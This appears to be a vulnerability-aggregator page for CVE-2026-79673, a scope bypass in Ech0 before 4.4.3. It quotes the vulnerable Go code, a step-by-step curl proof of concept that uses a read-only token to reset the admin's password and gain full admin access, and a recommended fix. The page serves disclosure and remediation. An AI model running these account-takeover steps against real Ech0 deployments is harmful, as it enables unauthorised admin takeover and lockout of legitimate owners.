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Ech0 before 4.4.3 Scope Bypass via profile:read Token

CVSS 4.0 8.5 HIGHCVSS 3.1 6.5 MEDIUMEUVD CVSS 4.0 8.5 CVSS 4.0 · [email protected] · Secondary 8.5 HIGHCVSS 3.1 · [email protected] · Secondary 6.5 MEDIUMCVSS_V3 Publisher rating MODERATEFixed by github.com/lin-snow/ech0 4.4.3osv · severity unknownKEV status unknown

cve-program · CVE-2026-79673

Published

Ech0 before 4.4.3 protects the PUT /user endpoint with the profile:read scope, a read-only scope, but allows write operations including password changes. An attacker with an admin's profile:read access token can change the admin's password and login to obtain an unrestricted session token that bypasses all scope enforcement.

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euvd · EUVD-2026-65441

Published

Ech0 before 4.4.3 protects the PUT /user endpoint with the profile:read scope, a read-only scope, but allows write operations including password changes. An attacker with an admin's profile:read access token can change the admin's password and login to obtain an unrestricted session token that bypasses all scope enforcement.

Read the publisher's advisory

nvd · CVE-2026-79673

Published

Ech0 before 4.4.3 protects the PUT /user endpoint with the profile:read scope, a read-only scope, but allows write operations including password changes. An attacker with an admin's profile:read access token can change the admin's password and login to obtain an unrestricted session token that bypasses all scope enforcement.

Read the publisher's advisory

osv · GHSA-hm2h-wwwh-g49x

Published

## Summary The `PUT /user` endpoint is protected by `RequireScopes("profile:read")`, which is a read-only scope. However, the endpoint performs write operations including password changes. An attacker who obtains an admin's restricted `profile:read` access token can change the admin's password, then login to receive an unrestricted session token that bypasses all scope enforcement. ## Details The scope enforcement system defines granular scopes (e.g., `echo:read`, `echo:write`, `admin:user`) but has no `profile:write` scope. The `PUT /user` route is protected only by `profile:read`: ```go // internal/router/user.go:40-44 appRouterGroup.AuthRouterGroup.PUT( "/user", middleware.RequireScopes(authModel.ScopeProfileRead), h.UserHandler.UpdateUser(), ) ``` The `RequireScopes` middleware bypasses all scope checks for session tokens, and for access tokens only verifies the token contains the listed scopes: ```go // internal/middleware/scope.go:14-19 func RequireScopes(scopes ...string) gin.HandlerFunc { return func(ctx *gin.Context) { v := viewer.MustFromContext(ctx.Request.Context()) if v.TokenType() == authModel.TokenTypeSession { ctx.Next() return } // ... checks access token has required scopes (line 53) ``` The `UpdateUser` service checks `user.IsAdmin` but does not verify the token's scope is sufficient for write operations: ```go // internal/service/user/user.go:271-300 func (userService *UserService) UpdateUser(ctx context.Context, userdto model.UserInfoDto) error { userid := viewer.MustFromContext(ctx).UserID() user, err := userService.userRepository.GetUserByID(ctx, userid) // ... if !user.IsAdmin { return errors.New(commonModel.NO_PERMISSION_DENIED) } // ... if userdto.Password != "" && cryptoUtil.MD5Encrypt(userdto.Password) != user.Password { user.Password = cryptoUtil.MD5Encrypt(userdto.Password) // line 299 } ``` After the password is changed, the attacker logs in via `POST /login` which calls `issueUserToken` → `CreateClaims`, producing a session token with `Type: "session"` (jwt.go:33). Session tokens bypass `RequireScopes` entirely, granting unrestricted API access. **Escalation chain:** `profile:read` access token → password change → login → unrestricted session token (bypasses all scope checks) → full admin access including `admin:settings`, `admin:user`, `admin:token`, `file:write`, etc. ## PoC ```bash # Prerequisites: Admin has created a profile:read access token for a read-only integration # The attacker has obtained this token (e.g., from compromised integration, log leak, etc.) ACCESS_TOKEN="<admin_profile_read_access_token>" SERVER="http://localhost:8080" # Step 1: Verify the token only has profile:read scope (can read profile) curl -s -X GET "$SERVER/api/user" \ -H "Authorization: Bearer $ACCESS_TOKEN" # Expected: 200 OK with user profile data # Step 2: Verify the token CANNOT access admin endpoints (scope enforcement works) curl -s -X GET "$SERVER/api/allusers" \ -H "Authorization: Bearer $ACCESS_TOKEN" # Expected: 403 Forbidden (requires admin:user scope) # Step 3: Change the admin's password using the profile:read token curl -s -X PUT "$SERVER/api/user" \ -H "Authorization: Bearer $ACCESS_TOKEN" \ -H "Content-Type: application/json" \ -d '{"password":"attackerpass123"}' # Expected: 200 OK — password changed despite only having profile:read scope # Step 4: Login with the new password to get an unrestricted session token curl -s -X POST "$SERVER/api/login" \ -H "Content-Type: application/json" \ -d '{"username":"admin","password":"attackerpass123"}' # Expected: 200 OK with session JWT token # Step 5: Use the session token to access admin-only endpoints SESSION_TOKEN="<session_token_from_step_4>" curl -s -X GET "$SERVER/api/allusers" \ -H "Authorization: Bearer $SESSION_TOKEN" # Expected: 200 OK — full admin access, all scope restrictions bypassed ``` ## Impact An attacker who obtains an admin's `profile:read` access token — intended to be the most restrictive scope available — can: 1. **Change the admin's password** without any write-level scope, violating the principle of least privilege 2. **Escalate to a full unrestricted session token** by logging in with the new credentials 3. **Gain complete admin access** including user management (`admin:user`), system settings (`admin:settings`), token management (`admin:token`), file operations (`file:write`), and all content operations 4. **Lock the original admin out** of password-based authentication (though OAuth/passkey login remains available) This defeats the entire purpose of the scope system: tokens intended for read-only integrations can be leveraged for full account takeover. ## Recommended Fix Add a `profile:write` scope and require it for the `PUT /user` endpoint: ```go // internal/model/auth/scope.go — add new scope const ( // ... existing scopes ... ScopeProfileRead = "profile:read" ScopeProfileWrite = "profile:write" // NEW ) var validScopes = map[string]struct{}{ // ... existing entries ... ScopeProfileWrite: {}, // NEW } ``` ```go // internal/router/user.go:40-44 — require profile:write for PUT appRouterGroup.AuthRouterGroup.PUT( "/user", middleware.RequireScopes(authModel.ScopeProfileWrite), // Changed from ScopeProfileRead h.UserHandler.UpdateUser(), ) ``` Similarly, update other write operations currently gated behind `profile:read`: - `POST /oauth/:provider/bind` → require `profile:write` - `POST /passkey/register/begin` and `/finish` → require `profile:write` - `DELETE /passkeys/:id` → require `profile:write` - `PUT /passkeys/:id` → require `profile:write`

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osv · GO-2026-5431

Published

Ech0 Scope Bypass: profile:read Access Token Can Change Admin Password and Escalate to Unrestricted Session in github.com/lin-snow/ech0. NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions. (If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.) The additional affected modules and versions are: github.com/lin-snow/ech0 before v4.4.3.

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Affected versions, risk and source history

Exploitation and risk

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Advisory history

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19 Nov 2026 18:51:06 UTC

Ech0 before 4.4.3 protects the PUT /user endpoint with the profile:read scope, a read-only scope, but allows write operations including password changes. An attacker with an admin's profile:read access token can change the admin's password …

euvd · EUVD-2026-65441 · Published

17 Nov 2026 18:41:28 UTC

Ech0 before 4.4.3 protects the PUT /user endpoint with the profile:read scope, a read-only scope, but allows write operations including password changes. An attacker with an admin's profile:read access token can change the admin's password …

euvd · EUVD-2026-65441 · Published

15 Nov 2026 17:52:28 UTC

Ech0 before 4.4.3 protects the PUT /user endpoint with the profile:read scope, a read-only scope, but allows write operations including password changes. An attacker with an admin's profile:read access token can change the admin's password …

euvd · EUVD-2026-65441 · Published

13 Nov 2026 17:08:38 UTC

Ech0 before 4.4.3 protects the PUT /user endpoint with the profile:read scope, a read-only scope, but allows write operations including password changes. An attacker with an admin's profile:read access token can change the admin's password …

euvd · EUVD-2026-65441 · Published

11 Nov 2026 16:09:50 UTC

Ech0 before 4.4.3 protects the PUT /user endpoint with the profile:read scope, a read-only scope, but allows write operations including password changes. An attacker with an admin's profile:read access token can change the admin's password …

euvd · EUVD-2026-65441 · Published

9 Nov 2026 15:14:48 UTC

Ech0 before 4.4.3 protects the PUT /user endpoint with the profile:read scope, a read-only scope, but allows write operations including password changes. An attacker with an admin's profile:read access token can change the admin's password …

euvd · EUVD-2026-65441 · Published

7 Nov 2026 14:30:45 UTC

Ech0 before 4.4.3 protects the PUT /user endpoint with the profile:read scope, a read-only scope, but allows write operations including password changes. An attacker with an admin's profile:read access token can change the admin's password …

euvd · EUVD-2026-65441 · Published

5 Nov 2026 13:46:26 UTC

Ech0 before 4.4.3 protects the PUT /user endpoint with the profile:read scope, a read-only scope, but allows write operations including password changes. An attacker with an admin's profile:read access token can change the admin's password …

euvd · EUVD-2026-65441 · Published

3 Nov 2026 13:10:09 UTC

Ech0 before 4.4.3 protects the PUT /user endpoint with the profile:read scope, a read-only scope, but allows write operations including password changes. An attacker with an admin's profile:read access token can change the admin's password …

euvd · EUVD-2026-65441 · Published

1 Nov 2026 12:58:17 UTC

Ech0 before 4.4.3 protects the PUT /user endpoint with the profile:read scope, a read-only scope, but allows write operations including password changes. An attacker with an admin's profile:read access token can change the admin's password …

euvd · EUVD-2026-65441 · Published

30 Oct 2026 11:58:44 UTC

Ech0 before 4.4.3 protects the PUT /user endpoint with the profile:read scope, a read-only scope, but allows write operations including password changes. An attacker with an admin's profile:read access token can change the admin's password …

euvd · EUVD-2026-65441 · Published

28 Oct 2026 09:44:07 UTC

Ech0 before 4.4.3 protects the PUT /user endpoint with the profile:read scope, a read-only scope, but allows write operations including password changes. An attacker with an admin's profile:read access token can change the admin's password …

euvd · EUVD-2026-65441 · Published

25 Oct 2026 16:19:10 UTC

Ech0 before 4.4.3 protects the PUT /user endpoint with the profile:read scope, a read-only scope, but allows write operations including password changes. An attacker with an admin's profile:read access token can change the admin's password …

nvd · CVE-2026-79673 · Published

24 Oct 2026 13:19:41 UTC

Ech0 Scope Bypass: profile:read Access Token Can Change Admin Password and Escalate to Unrestricted Session

osv · GHSA-hm2h-wwwh-g49x · Published

24 Oct 2026 13:19:41 UTC

Ech0 Scope Bypass: profile:read Access Token Can Change Admin Password and Escalate to Unrestricted Session in github.com/lin-snow/ech0

osv · GO-2026-5431 · Published

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 20 Nov 03:39 UTC · 273 of 275 readable · 269 fully read · documentation 469/469 current